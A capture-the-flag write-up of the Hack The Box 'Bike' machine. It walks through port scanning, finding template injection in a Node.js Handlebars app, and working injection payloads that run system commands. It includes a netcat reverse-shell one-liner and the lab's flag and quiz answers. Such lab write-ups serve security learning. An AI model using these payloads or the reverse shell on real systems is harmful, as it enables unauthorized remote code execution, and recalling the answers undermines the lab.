Bike (Tier 1)
Description
Tier -> 1
Difficult -> Very Easy
OS -> Linux
Tags -> Custom Applications / NodeJS / Reconnaissance / Remote Code Execution / Server Side Template Injection (SSTI)
Write-up
I started doing an initial scan using Nmap
nmap 10.129.97.64 -p- -Pn --min-rate 2500 -oN scan.txt

With this, I answered the first question

Answer: 22,80
Then I did an exhaustive scan to learn more about the services running on the open ports
nmap 10.129.97.64 -p22,80 -sVC -oN serv_scan.txt

With this, I answered the next question

Answer: Node.js
As I found the HTTP service on port 80, I went to the browser to check the content being deployed. I found a simple website that let me introduce an email address and send this information. After filling out the form and hitting the Submit button, I obtained a response from the website including the information submitted


To learn more about the HTTP protocol you can go here
I reviewed the source code but didn't find anything interesting, so to learn more about the components of the website I used the Wappalyzer extension

With this and a little research, I answered the next questions

Answer: Express

Answer: Server Side Template Injection
To test some vulnerabilities in the insertion point, I inserted some XSS payloads in the form but didn't get any results. So after that, I tried with some SSTI payloads and noticed that using an input of {{7*7}} I caused an error on the page, letting us know it could be vulnerable to this attack

This gave me information about some folders and components being used by the server to deploy the web page, for example, that it was using the Handlebars template engine. So I reviewed some vector attacks for this engine and with some research, I found a payload to abuse it
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
With this and a little research, I answered the next question

Answer: Handlebars

I noticed the site was encoding the values in URL format, so to ensure the page would process the payload correctly, I did the same process in the Decoder tab. After that, I resent the petition and got a different error from the site


With this and a little research, I answered the next questions

Answer: Decoder

Answer: URL

Answer: require

Answer: global
Searching about this error, I found out it was because the require function used in line 9 of our payload, couldn't be in the internal environment of the deployment so I had to find a way to modify it for my purposes. After a little research, we found an alternative to the use of the require function via the process.mainModule property. So I adapted the payload to work with this and resent it
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

I noticed the server processed it without errors, but instead of executing the command was returning what seemed to be JavaScript objects. This could be because the exec function was not available within the environment context. After a lot of research, I found other possible functions from the child_process module that could let us execute commands. Trying all possible options we found that by using the execSync function and resending the petition, I finally did it work
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

With this, I answered the next question

Answer: root
That revealed I had gained RCE as the root user, so by abusing this method, I listed the files from the /root folder. There I found a flag.txt file, and once again, used the RCE to read the content of this file which gave me the flag


With this, I got the root flag and pwned the machine

Answer: 6b258d726d287462d60c103d0142a81c
Alternative Reverse Shell
I tried to gain a reverse shell abusing the RCE and sending a proper payload. I started sending a Netcat listener on my machine and sent the petition with the payload
nc -nlvp 4444
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

I observed I didn't receive any response from the server, but checking the listener I had caught a shell as the root user

Last updated